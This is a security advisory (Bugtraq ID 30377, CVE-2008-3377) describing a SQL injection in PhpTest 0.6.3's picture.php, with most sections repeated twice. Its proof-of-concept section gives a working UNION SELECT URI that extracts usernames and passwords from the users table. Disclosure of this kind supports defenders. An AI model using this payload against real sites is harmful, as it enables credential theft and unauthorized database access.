PhpTest 'picture.php' SQL Injection Vulnerability
BID:30377
Info
PhpTest 'picture.php' SQL Injection Vulnerability
| Bugtraq ID: | 30377 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-3377 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 25 2008 12:00AM |
| Updated: | May 07 2015 05:25PM |
| Credit: | cOndemned |
| Vulnerable: |
Brandon Tallent PhpTest 0.6.3 |
| Not Vulnerable: | |
Discussion
PhpTest 'picture.php' SQL Injection Vulnerability
PhpTest is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PhpTest 0.6.3 is vulnerable; other versions may also be affected.
PhpTest is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PhpTest 0.6.3 is vulnerable; other versions may also be affected.
Exploit / POC
PhpTest 'picture.php' SQL Injection Vulnerability
An attacker can exploit this issue via a browser.
The following example URI is available:
http://www.example.com/[phpTest]/picture.php?image_id=-1+union+select+1,concat_ws(0x3a3a,username,password)+from+users/*
An attacker can exploit this issue via a browser.
The following example URI is available:
http://www.example.com/[phpTest]/picture.php?image_id=-1+union+select+1,concat_ws(0x3a3a,username,password)+from+users/*
Solution / Fix
PhpTest 'picture.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].